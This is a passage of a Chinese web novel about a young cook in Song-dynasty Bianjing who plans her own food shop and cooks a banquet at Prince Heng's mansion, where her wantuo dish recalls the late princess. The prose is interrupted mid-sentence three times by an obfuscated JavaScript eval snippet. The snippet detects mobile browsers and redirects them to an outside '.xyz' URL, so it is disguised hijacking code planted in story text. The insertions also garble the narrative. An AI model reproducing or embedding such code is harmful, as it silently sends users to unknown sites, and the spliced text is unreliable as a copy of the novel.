以吕把头儿的地位，想命令行会的酒楼一行的行头儿不是那么轻松，怕是也花了大价钱，才让行头儿答应他的谋算。 这样的人难道不是阴狠？ 看来往后在四司六局，自己得更加小心谨慎。 “既然食铺去不了，那为何不去其他司局？”她又想到一条出路，“各司局之间是竞争对手，又不受行会管束，旁的司局把头儿必不会买吕把头儿的帐啊？” 张德发怎么没去过？他几乎把汴京城的四司六局跑遍了。 可吕把头儿的司局一家独大，其他司局都是小打小闹，倒是肯要他做铛头儿的，只是工钱少得可怜。 他哪接受得了这般落差，还不如在河市卖腌菜，起码不用受人管束。 “梁小娘子，不瞒你说，我甚至还打算自己开家食铺。”他有些尴尬地笑了笑，“可内子说我只会做饭，不是做生意的料，是花钱打水漂，还不如安安生生地卖腌菜，也就作罢了。” 梁琪知道张叔的为人，性子是直了些，有时还有些急躁，当纯手艺人的厨子是再合适不过，倒的确不太适合做生意，一辈子的积蓄若是打了水漂，那还真不如稳当着来。 至于张铛头儿的娘子，她听采荷说起过，据说是身子不太好，只能在家相夫教子，生意上帮不上什么忙。 算来算去，卖腌菜竟是当前最合适的营生。 梁琪有开食铺的打算，原本计划厨子一职是自己留着的，再招募个掌柜，此刻看到张铛头儿才华埋没，突然觉得厨子的位置可以留给他。 她不知道自己的食铺可以开多大，或许最开始是个小食铺，慢慢能发展成大酒楼也不一定啊。 自己总不能一直困于灶台前。 昨日她又清点了钱箱，算上这些日子卖喜面的营收，也有五十多贯了。 这些钱虽然卖不了铺面，更租赁不了大酒楼，等再攒攒，租个小铺面还是足够的。 开铺子的梦近在眼前，厨子的人选也近在眼前，得先预定下来。 梁琪笑说：“张叔，我预备开个小食铺，到时候请你来当大厨可好？工钱好说。” 张德发睁大了眼睛，脱口而出：“你个还不到二十的小娘子都要自己开铺子了？” 说完，他突然意识到，梁琪虽然才十七岁，可厨艺已经不凡，做生意的头角也逐渐展露出来，只要有足够的本钱，当即就开也不是可能。 若是梁琪愿意请他去当大厨那当然再好不过了，肯定比在这卖腌菜强得多。 他笑说：“怪我小瞧人了，梁小娘子，等你的食铺开起来，我一定去。” 梁琪如今不是备菜丫头了，铛头儿的工钱可比备菜丫头高得多。 按四司六局的规定，备菜丫头的工钱是三百，普通厨子的工钱是一千钱，铛头儿的工钱是一千六百钱，也就是两贯。 攒起钱来倒不是难事。 又唠了一会儿，眼瞅着时间不早，该去卖肉了。 张德发连忙捞出一块自家腌的腌菜放进碗中，让梁琪带回家尝尝鲜，又指着他那板车说：“要是买的食材太多不好拿，就先把我这车拉走，等卸了货再还回来就是。” 梁琪要买的食材还真有些多，怕是背不动，有辆板车倒也方便。 这板车和太平车还不一样，不如太平车装得货物多，好处便是一人或拉着或推着就能走。 她便道了声谢，推着板车去买食材。 河市的规模可不小，类似后世一站购齐的大超市，很快就把要买的食材全都买齐了。 等买好食材回到家，门口等着个闲汉。 那闲汉梁琪眼熟，是四司六局的，见到梁铛头儿回来就上前传口信，司局又有生意了。 从前梁琪是备菜丫头，自是不必打听主家太多闲事，只需要做好份内的活计就好，至于主家的基本情况以及口味，那是铛头儿该考虑的事。 现在不同了，她是铛头儿，不仅要负责做菜，还得制定菜单，所以主人家的习性、喜好都得一一问清楚。 司局的闲汉和后世意义上的闲汉不同，乃是一种职业，即专门跑腿传话的人，因只负责跑腿传话，没有正经的活计，才被称为闲汉。 故而，闲汉对主家的情况一早就打听得十分清楚，现下正要说与梁琪听。 这回要办宴席的主家不是旁人，正是汴京城中大名鼎鼎的恒王。 说起恒王，连梁琪这个穿来没多久的人都听说过，乃是当今地位最尊崇的亲王，官家的亲弟弟。 这位恒王战功十分卓著，曾替先皇和官家立下不少军功，是当之无愧的实权亲王。 像这种实权派的亲王大多为皇帝所忌讳，哪怕是亲兄弟。 早年的确有功高震主的流言传出，好在恒王是个知进退的主儿，便自请交出军权，杜绝了造反的丁点儿可能，如今上了年岁，更是请旨辞去身上一切官职，只保留个亲王的爵位，令官家再无任何后顾之忧。 官家念及功勋和亲情，许了亲弟弟及后代满门荣耀。 恒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996269|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王已经年逾五十，朝着耳顺之年莽奔，仍旧谨言慎行，这么高的地位，却连宴席都不大操大办，只邀了至交好友，算作家宴。 家宴请四司六局，多少有点军刀切黄瓜的意思。 闲汉告诉梁琪，是于相公给老恒王特意推荐的他们司局，说厨司做得麻叶酥酪特别好。 梁琪：“……” 合着根源还在她这儿。 恒王这辈子是什么都不缺，想吃厨司做的菜肴，干脆请了整个四司六局，也不算什么稀罕事。 梁琪了解主家的大致情况，又问起主家及宾客的口味。 闲汉一早向王府的得力人打听了，恒王没什么忌口，早年行军打仗吃惯了苦，自是什么菜式都吃得下。 倒是恒王的独女，宝阳郡主，据说是个口味难伺候的。 梁琪心中了然，谢过闲汉，又与他抓了一把自己腌制晾晒的田枣干和蜜饯，算是谢礼。 又要上工了，梁琪首先要做的，依旧是把家中的事打理好。 汤包和羊肉卷的安排已是熟门熟路，只要多做些给孟二娘送去，储存在食铺的冰窖里即可。 至于喜面的生意——如今正是喜面热卖的时候，必然不能关门大吉，把哗啦啦的铜钱拒之门外。 她都想好了，卖喜面不麻烦，无非就是一手收钱、一手交货的事，买卖地点就在家中，交与莹姐儿和元哥儿两人，应该不成问题。 莹姐儿算账快，又正在学管账，收钱和记账都是把好手；元哥儿既是练家子，体力活就给他包揽了，有开封府皂隶的名头在，想来也没人轻易来搞乱。 也不让两个小的白辛苦，照常发工钱就是。 等梁莹和梁元回到家，梁琪把想法跟他们一说，两人痛痛快快答应下来。 梁莹跟着姜娘子学管账，尚且在学习的阶段，姜娘子没放手把食铺的账本交由她来管。 她正缺一次练手的机会，现下阿姐把喜面的账目交给她，虽是简单至极，到底是本完整独立的账目，总算能好好练手了。 梁元也很兴奋，现在管着一个家的安全，将来就能管着一县、一郡、一城、甚至一方疆土的治安，也算用用武之地了。 何况还有工钱拿。 阿姐可比食铺和开封府大方多了，工钱给得足足的，就是让人有动力。 梁琪交代完所有事，再无后顾之忧，收拾了自己的小包袱，准备明日上工。 - 是夜，宝阳郡主府。 宝阳郡主靠在软榻上，拿着银签悠闲地扎蜜瓜吃，抬头望了眼窗外黑透的天儿，施施然问：“官人还没回来吗？” 立刻有丫鬟上前回话：“回郡主，老爷方才让人带话回来，说今日殿前司事多，留宿大内了。” 这话放在别人身上像是托辞，放在郡主这里，她却深信不疑，无他，只因她这官人是一等一的实诚人。 只要在家，就爱黏着她，处理公务也要她红袖添香在侧，两人感情一直很好。 故而刘官人若不是有什么脱不开身的公务，也不会选择留宿大内。 宝阳郡主耸耸肩，又问：“子今呢？也没回来？” 丫鬟正要答话，只见一袭青衫的年轻郎君走了进来，疏离的神情没有因为回到家而有丝毫柔和，依旧敛容肃目。 刘子今规规矩矩地行了礼：“子今下学，来给母亲请安。” 29. 恒王府 宝阳郡主无奈，这孩子，怎么跟块木头似的。 她本身是含着金汤勺长大的、出生在尊贵无比的恒亲王家，从小就是千尊万贵，又因生得玉雪可爱，深受官家宠爱、七岁就被册为郡主。 恒王没有儿子，只有她这一个独女，万千宠爱都给了她，或许等父亲百年之后，恒亲王一脉无人承袭爵位，官家还会册她为公主。 年轻时又遇上情投意合的刘官人，喜结连理，刘官人虽是武将出身，却是一等一的正人君子、对内爱惜发妻，对外执公严明，夫妇二人育有一子，三口之家简单而幸福。 宝阳郡主事事顺遂了，唯一的缺憾便是子今这个独子，不与自己亲呢。 也不知这孩子的脾气像谁，即没有她的温婉,也没有他爹的柔情，不管在家还是在外都是一个木头样，对她倒是恭敬，可这恭敬就跟对着官家和圣人似的，只有敬，没有爱。 好比此刻，明明没有外人在，连声亲昵的“阿娘”都不叫。 她无声地叹了口气：“请安倒也罢了，母亲问你，明日国子监能否告假?” 刘子今垂着目问:“所谓何事?” 他最近告假略微频繁。 宝阳郡主放下银签:“你阿公明日设家宴、赴宴的都是阿公的亲友，母亲也许久未回娘家，子今陪母亲去可好?” 刘子今虑的是这个月已经告三次假了，李府、于府，加上林同窗成婚，若是再告假，恐惹博士生气。 他婉拒了：“郡主府离王府不过两条街的距离、母亲不若带着丫鬟前往，秋闱在即，孩儿想多温习书本。” 宝阳郡主翻了个白眼，找的什么借口，书都快要被你翻烂了，秋闱压根不用担心。 可郡主府离恒王府的确只有两条街，坐轿子不过一炷香的时间就到了，前日官家赏了父亲一株红珊瑚，她还亲去观赏了，许久没回娘家的借口怎么看都站不住脚。 她有气无力地挥挥手:“罢了，我就不该找你陪同。” 刘子今依旧面无表情，真的很像块木头。 宝阳郡主对牛弹了会儿琴，觉得无趣：“你回房歇息吧，明日我让清露陪同，也不知这家司局做的菜好不好吃。” 后半句是喃喃自语，她可是很挑嘴的。 刘子今都要走了，听到这句话又站定脚步：“阿公的家宴还请了四司六局?” 木块还会对念书以外的事有兴趣? “是啊，听说是于相公荐的司局，有道羊羹做得挺不错。” 刘子今绷了下嘴唇，于府的宴席他去了，既是于相公荐的司局，应该就是梁小娘子所在的司局没跑了。 这些天耳朵里落了不少梁小娘子的消息，都是国子监的同窗在七嘴八舌说的，似乎从林府婚宴后，同窗们就格外关注梁小娘子的事，打听到他面前说。 不过他也因此得知，梁小娘子在郭员外的寿宴上当上了铛头儿，如今经营着喜面的营生，还给一家食铺供灌浆和肉卷，两边生意都很是不错。 他见过那小娘子，和大户人家的小姐郎君们很不同，身上没有被礼法教义束缚的痕迹、瞧起来纤纤瘦瘦，却有一股子活力和冲劲儿，说起话来如大珠小珠落玉盘，话虽多、却一点都不让人生厌。 母亲也是个活泼的人，但母亲更像是一株温室里的娇花，而非有生命力的劲草。 他自知自己是个沉闷死板的人，这辈子都不会像那小娘子一样会泼开朗，或许母亲想要的孩子，就是那样活泼灵动的女儿吧。 王府若是梁小娘子掌勺，突然变得有吸引力了起来。 刘子今刚说完不好告假，现在又想出尔反尔，有些尴尬地轻咳一声，犹豫着说：“若是明日博士允假，儿子陪同母亲一同赴宴。” 宝阳郡主一副纳闷的表情、怎么说到于相公荐的四司六局，就又要去了? 这明显是冲着司局去的，难不成这家厨司做菜很好吃？这小子也不是重口腹之欲的人啊。 她想来想去没想明白，干脆不想了，总不可能是看上人家厨娘了吧。 - 梁琪一早就到了恒亲王府。 王府在后院给她准备了单独的屋子用来休息，这是铛头儿才有的待遇。 从前当备菜丫头时都是两三个人挤在一间小屋子里，性子合得来还好说、倘若有个翠竹那样的人，那就难受了。 现在梁琪有了单独的小屋子，第一件事就是让采荷也来，毕竟从前都是两个人一起住。 采荷抱着枕头，兴冲冲地来了。 新来了两个备菜丫头，算上采荷仍旧是三个人的规制、司局给她们三个备菜丫头安排了一间房，采荷虽然是老人，那两个新来的丫头多有敬重，但到底是陌生人，处在一起多少不自在。 一听梁琪邀请自己同住，她欢欢喜喜地就来了，嘴里滔滔不绝地讲述着新见闻。 “王礼走了，他当不了大厨，也不甘于当备菜人，厨司没他的位置，旁的司局又没有关系，或是他本身就没有才干，只能灰溜溜地走了。” “听田厨子说、王礼还跟王司长吵了一架，说王司长没给他安排上大厨的活计、让归还奉送的钱，约莫有好几贯呢。” 梁琪听了个热间，王礼走了正合她意，没了搅合的人，厨司的麻烦会少很多。 她又问：“新来的备菜丫头怎么样?" 采荷已经跟那俩丫头见过了：“都是年纪不大的小娘子，瞧着是老实人，怯生生的，还没熟悉起来，有一个还说要帮我洗手帕、这孝敬人的事我可没体会儿过，吓得我赶紧婉拒了。” 梁琪听得好笑：“她们都是新人、正盼着有人指点。” 她一边修改菜谱，一边听采荷絮絮说着厨司的事情。 菜谱是昨日就拟写好的，只需要做稍微的修改，就能让人去呈递给主家、主家若是不满意，就要继续修改，若是满意，这张菜谱就会送到菜蔬局，让他们快速准备食材。 食材就位，备菜丫头也该干活了，等菜备完，才是铛头儿和厨子上场，继而是台盘司上菜、蜜饯局上点心、果子局上果子..... 因着恒王府是家宴，宾客都是至亲好友，故而没搞那些虚头巴脑的装点，今日似乎只有厨司最忙。 梁琪刚才经过前院时，帐设司只有寥寥几人在摆放桌椅，并没有铺张布置。 可见王府低调。 梁琪把改好的菜谱着杂役送去主家跟前儿，很快、杂役回来了、说菜谱没问题、已经交给菜蔬局的人去置办食材了。 来之前，她心里还有些紧张，她是第一回做铛头儿，主家又是王府，比普通贵府更加位高权重。 但现在感受下来，这老恒王似乎是个很随和的主儿。 采荷又休息了会儿，就到备菜时间了。 梁琪也站起身，说：“我跟你一道儿去厨房。” 头一回当铛头儿，得再研究研究菜谱，备菜丫头也有两个是新人，少不得得指点着些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005756|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，保险起见还是早些去的好。 等到了厨房，菜谱已经贴在厨房门上了，菜蔬局的人置办完食材、菜谱会和食材一起送来。 梁琪也见到了新来的两个备菜丫头，很和善地跟她们打了招呼，她们也略显拘谨地回了礼。 之后她便站在菜谱前托着下巴琢磨，研究上菜顺序，荤素搭配、和口感搭配，以及分配田、邢两位厨子要做的菜。 等田、邢两位厨子一来，她便告知了两人待会儿要负责做的菜。 田厨子和邢厨子两人各有所长、田厨子擅长做白案，邢厨子擅长做红案，从前张铛头儿就是按照两人所长分配菜式，让他们做自己擅长的菜。 两人扫了一遍自己要负责的菜式，因王府家宴的规模不大，各有只有六道，掌勺的梁琪也是六道。 这六道中，有四道是他们所擅长的席案，另外两道则是对方所擅长，” 田厨子不解地问梁琪：“梁铛头儿，我所擅的是白案，怎的给我分了两道红案的菜。” 所谓红白案，是中餐一种形象的说法，红烧肉、排骨相小炒肉这些蒙菜都算红案，因肉食在案板上操作时看上去红艳艳的，故而叫红案。 而面饼、糕点这些瞧起来白花花的食材，则被称为白案。 汴京城中也有按烹饪方式来区分红白案的、炸、炒、煎等划分为红案的范畴，蒸、煮、烩等则为白案。 梁琪有自己的考量：“我知道两位各有所长，可知烹饪祖师爷彭祖有言，红白原也不分家、五味调和才是饮馔之道，两位难道只想拘泥于一案，不想拓宽厨艺?” 两位厨子都有些将愣，难不成给厨司打工，还有精进自己厨艺的机会？ 他们这一行，不管在酒楼还是司局，什么出身就干什么活计，红案只做红案的菜、白案只做白案的菜，全能的厨子当然也有，例如张铛头儿和梁琪，只是不多。 倒不是他们自己不愿学，一来活计繁忙，几乎没有学习的时间，二则、东家也预防着他们学了全套的菜式，将来另起炉灶，那不是给自己培养对手吗? 现在梁琪却主动给机会，让他们拓宽厨艺、竟是一点不防着他们学成之后，挤掉她的铛头儿之位。 这般心胸和周到、可是连张铛头儿都没想这么全面。 细看梁琪安排的那两道菜，也是较为基础的菜式，很符合循序渐进的道理。 田大厨不得不服：“梁铛头儿考虑周全。” 邢厨子也十分豪气地说：“梁铛头儿敞亮，邢某佩谢过。” 梁琪被谢地有些不大自在，她其实没多想，只是觉得司局想要好好发展，多些全面的人才总没错。 至于排挤不排挤，她总觉得胸有丘壑，无惧高山，若自己的目光只停留在铛头儿的位置上，必定爱无珍宝，害怕别人排挤，可若是目光在更高处，便没有这个顾及。 她摆着手说：“客气啦。” 交代好厨子的事，梁琪又去交代好厨子的事，梁琪又去看采荷等人备菜。 有采荷带着，两个新人没出一点乱子，一切都在井然有序地进行着。 能看出来，采荷是有能力御下的，好好磨砺一番，将来可以放在食铺掌柜的位置上，总不至于一辈子当备菜丫头。 等菜备得差不多时，梁琪叫来采荷：“荷娘，交代你个重大任务，去打听恒王和宝阳郡主的饮食喜好。” 包打听这事采荷干得熟，当即拍拍胸脯：“交给我。” 30. 碗托儿 约莫一炷香的时间，“包打听”回来了。 尚未言及恒王和郡主，采荷先说道：“琪娘，你猜我在园子里看到谁了？刘监生，刘子今！” 梁琪脑子里浮现出一道清冷的青衫身影。 又觉得颇为有趣：“这刘官人的身影倒是时常出现，先前的李府和于府，算上这次都赴宴三次了，这就是东京小姐口中的一心只读圣贤书？” 采荷也不知道是怎么回事，据说先前京中小姐们想看一眼这棵雪青松，都是极为不易，现在她们单单只是做饭，就已经见了刘子今好几面。 “这就不晓得了。”她激动的是，“这刘官人竟能出席恒王的宴席，究竟是什么家世啊？” 这就不是梁琪她们这个层次的人能知道的事了。 既然都有三面之缘了，姑且算作熟人，对于熟人，梁铛头儿是有优待的：“我记得刘官人颇为喜好甜食，那道‘花满池’便做成甜点吧。” 有了在李府翠竹不备菜耽误做菜的事件后，厨司学聪明了，菜名都是这种似是而非的风格，若是出现变故，也好补救。 好比这道“花满池”，梁琪原定是要做成一道红油飘香的辣菜，现而改成一道甜点，外人也瞧不出来。 采荷笑着点头，又低声说：“宝阳郡主的口味打听出来了，竟是个无辣不欢的主儿，至于恒王，老亲王太谨慎了，探不到有用的信息，只知道过世的恒王妃是河东路太原府人氏。” 恒王是个谨言慎行的人，喜好不暴露在人前也在情理之中。 “这两道消息已是非常有用，荷娘，你真厉害。”夸奖的话一连串冒出来，“备菜丫头带得也很好。” 采荷被夸得耳根子都红了，她本以为自己没什么能耐，原本打算在备菜丫头的位置上干一辈子的，起码饿不着。 现在总感觉被琪娘推着往致富路上走。 - 王府别院有处凉亭，叫雨势亭，依山傍水而建，坐在亭中观雨打湖面，甚是有意境。 这里也是今日家宴的场地，亭子旁边有藤蔓、有树木，倒是个极为凉爽之处。 刘子今陪着宝阳郡主到得早，回娘家算是半个主人，理应比宾客早还不算失礼。 宝阳郡主知道宴席地点是在雨势亭，没往别的地儿去，一入府便到了雨势亭，寻了个位子坐下。 刘子今觉得有些失礼，怎么也该先去正堂拜见阿公，可又想到阿公对母亲的宠爱程度，又觉得不闹那些虚礼也无甚妨碍。 他在母亲旁边的位子前坐下。 刚入座，恒王就来了。 他的阿公今年已经五十有五，鬓边生了白发，因早年行军打仗的缘故，身子还算硬朗，只是身上的刀伤一到阴雨天气便会痛痒。 果然，恒王并无分毫怪罪爱女不敬之罪，尚未入座，就笑呵呵道：“宝阳，为父一早备下了你爱喝的酸梅汤，快尝尝可能入口？” 说完自己才在主位上坐下，招呼茶酒司上茶。 宝阳郡主今年虽然年近四十，保养却极好，身材微微发福，却不显肥硕，只见丰腴和风韵。 她笑着说：“阿爹还巴巴地请这家司局，依我看，这茶做得还没府中厨子做得好。” 恒王在女儿那里碰了个钉子，指着她数落道：“你这个舌头啊，太刁钻！” 便转而和刘子今说话：“子今难得来一回，可不要学你阿娘，挑阿公府上司局的刺啊。” “阿公严重。”刘子今起身行礼，把带来的治伤痛的药膏药贴奉上，“夏日阴雨多，阿公要好好保养身子。” 恒王欣慰地笑道：“子今有孝心。” 宝阳郡主每回跟亲儿子说，阿公是亲阿公，每回不必带着礼物，但这犟子总说登门赴宴空着手去乃是失礼，便也随他去了。 她问道：“徐伯怎的还没到？” 徐伯是宾客之一，也是今日最重要的宾客，他乃是御史台中丞，和恒王是至交好友，两人的虽是文臣武将，却是自幼的邻里，关系甚笃，连身份高贵的宝阳郡主都愿意喊她一声徐伯。 恒王笑说：“快了吧，那老家伙可是最贪嘴的。” 正说着，徐中丞来了，笑眯眯地说：“老恒王，我听见你嚼我舌根了。” 好友见面分外亲热，相互之间招呼过，徐中丞入座，茶酒司的点茶也送了上来。 恒王招呼大家品尝：“于相公说这家司局不错，你们先尝尝这点茶。” 宝阳郡主喝着一般，刘子今也只饮了半盏就放下，只有徐中丞最给面子，喝完一盏还要讨要，不愧是恒王口中的“贪嘴”。 还有几位有交情的宾客，陆陆续续到场，台盘司便开始上菜，这宴席也算开场了。 刘子今面前上了一道极为漂亮的甜点，台盘司的人介绍说：“此菜名为‘花满池’，乃是道甜点，请林官人品鉴。” 这便是梁琪做得甜点，其实是蛋黄千层，底下是嫩黄色，表面点缀上各种颜色的巧克力碎片，的确有花开满池的效果。 刘子今是爱吃甜食，可甜食易腻，至多三口，再多不觉得香甜，反而觉得口中生腻，心中生厌。 他拿起银叉叉了一块儿，这甜点虽为糕，却湿润得很，想是层层叠叠的面皮中加了大量的酥酪，让人想起于府的麻叶酥酪。 入口香浓，细腻，却几乎感受不到甜味，细品反而有股蛋黄淡淡的咸味，这真的是甜食吗？ 刘子今拿着银叉的手并未停顿，接连吃了好几口，没有感受到甜腻，反而越发香浓，表面那彩色的碎屑不知是何物，微苦，后味却回甘，让人欲罢不能。 宝阳郡主都看愣了，她家子今，胃口何时这么好了？ “子今，甜食少吃。” 她尝了茶酒司的点茶，觉得一般，已经对这家司局失去兴趣了，对厨司做得饭菜也期待不起来。 以往这种时候，刘子今便会停下筷箸，冷静地将甜食推到一边，但今日他极为反常地说：“母亲，这道甜点不错，您也尝尝。” 宝阳郡主顿了下，将信将疑地拿起银叉，只尝一口，眼睛就瞪圆了。 这是什么神仙味道，竟比宫中的酥酪还好吃！ 看来这厨司，还真是有两把刷子，难怪能让于相公推荐给阿爹，也让子今告假前来。 正尝着，又上了一道菜，名为“花满楼”。 刚才的“花满池”是道甜点，这“花满楼”竟是道满是红油的辣菜。 若说刚才的甜点被郡主誉为神仙味道，那这“花满楼”不用尝，单是看那红艳艳的颜色，就知道是郡主的心头好。 这道被后世称为麻辣拌的食物，所用的食材极为丰富，不仅有菘菜、番薯片、香蕈片、莲藕片等菜蔬，更有羊肉卷、肉丸、虾仁等浑食，每一样都吸饱了浓郁的酱汁和红油。 宝阳郡主简直太爱这道“花满楼”了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019950|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，吃得停不下来，嘴角沾了红油也全然不顾。 厨司的上菜速度很快，煎、炒、油炸、蒸煮，每一样的味道都不错，算起来的确是家上佳的司局。 最后一道菜上来时，台盘司的人报菜名：“最后一道，炒碗托儿。” 相比前面文雅的名字，这道菜的名字略显平庸。 徐中丞笑着说：“这菜名和雨势亭的风格不符啊，该改个风雅的名字，就叫……” 他话没说完，发现恒王、宝阳郡主和刘子今全都愣了下。 这菜有什么不对吗？ 恒王声音有些颤抖：“快、快呈上来。” 一碗朴实无华的吃食呈现在眼前，似面非面，只有一指长，表面光滑，有棱角，和番薯丝、肉肠片在一起炒熟，色泽温和。 宝阳郡主看向恒王，抿了下嘴唇说：“阿爹，外形真的很像。” 刘子今已经拿起筷箸夹起碗托儿尝了一口，还是小时候的口感，脆弹中带着软糯，清爽利口，相比于面条，更像是凉皮和灌肠的口感。 他深吸一口气：“味道也像。” 恒王手中的筷子尖都在颤抖，夹了一条送入口中，熟悉而又陈旧的味道让他想起很多往事。 年轻的年纪，无忧的年岁，还有……相濡以沫的夫人。 徐中丞还在状况之外，听着一家子莫名的对话，茫然地问：“你们在打什么谜语？” 一时没人回答他。 宝阳郡主也尝到了熟悉的味道，香中带着辣味，还有太原府特有的香醋味道：“阿爹，和阿娘做得味道一摸一样，阿娘是太原府人氏，从前常常给我做碗托儿吃。” 恒王长舒一口气：“是一样，从前她只要一想家，就做这道民间吃食，后来给你做，再后来给子今做，最后她……” 因为一场大病，猝然离世。 刘子今神色也有些黯然，他是最后吃到阿婆做碗托儿的人，那时他才四岁。 爹、娘、阿公都在战场上，阿婆又病重垂危，他一个四岁的孩子叫天天不应，叫地地不灵。 这碗托儿汴京城中没有卖，这里的厨子也不会做这道吃食，想不到那梁小娘子竟然会做。 恒王在战场上，甚至没能见发妻最后一面，这碗碗托儿不仅味道好，也的确给他带来无尽的念想。 徐中丞终于懂了，原来这道吃食是恒王妃的拿手菜，怪不得一家子齐齐变了脸色。 他等气氛缓和后，突然说：“厨司竟然知道王妃是太原府人氏，是不是别有用心啊？” 恒王很少表现出喜好，现在厨司却连恒王妃是太原府人氏都打听到了，为了讨好恒王，还真是费尽心思。 恒王沉默着，宝阳郡主也没说话。 片刻后，倒是刘子今先开口：“徐中丞所虑有理，只是厨司本就是为主家做好饭菜，职责所在，晚辈觉得不必苛责。” 徐中丞看了刘子今一眼，微微皱眉，连郡主都称呼他为阿伯，刘子今却仍以官职相称。 他早就听说郡主的独子清冷疏离，原来可以蒙荫袭爵，去仍要走科举一途，靠自己入仕为官，倒的确不用看人脸色，斡旋交际。 刘子今又看向恒王：“阿公，这做碗托儿的厨子也是花了心思的。” “子今说的有理，厨司有心了。”恒王终是点点头，“来人，且去问做碗托的厨子，愿不愿意把食方交出来，本王重重有赏。”